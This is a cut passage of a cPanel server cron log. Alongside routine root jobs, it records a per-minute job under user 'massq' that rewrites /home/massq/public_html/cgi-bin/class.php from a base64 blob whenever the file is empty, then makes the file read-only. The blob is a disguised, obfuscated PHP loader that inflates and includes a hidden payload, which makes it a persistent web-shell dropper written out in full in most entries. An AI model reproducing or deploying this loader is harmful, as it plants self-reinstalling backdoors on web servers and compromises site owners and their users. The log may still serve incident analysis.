LSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 06:42:01 server CROND[1561]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 06:42:01 server CROND[1562]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 12 06:43:01 server CROND[1613]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 06:44:01 server CROND[1674]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 06:45:01 server CROND[1740]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 06:45:01 server CROND[1741]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 06:45:01 server CROND[1742]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 06:46:01 server CROND[1836]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 06:47:01 server CROND[1992]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 06:48:01 server CROND[2049]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 06:49:01 server CROND[2097]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 06:50:01 server CROND[2162]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 12 06:50:01 server CROND[2163]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 06:50:01 server CROND[2164]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 06:50:01 server CROND[2165]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 06:50:01 server CROND[2166]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 06:51:01 server CROND[2268]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 06:52:01 server CROND[2314]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 06:53:01 server CROND[2452]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 06:54:01 server CROND[2500]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 06:55:01 server CROND[2544]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 06:55:01 server CROND[2546]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 06:55:01 server CROND[2545]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9f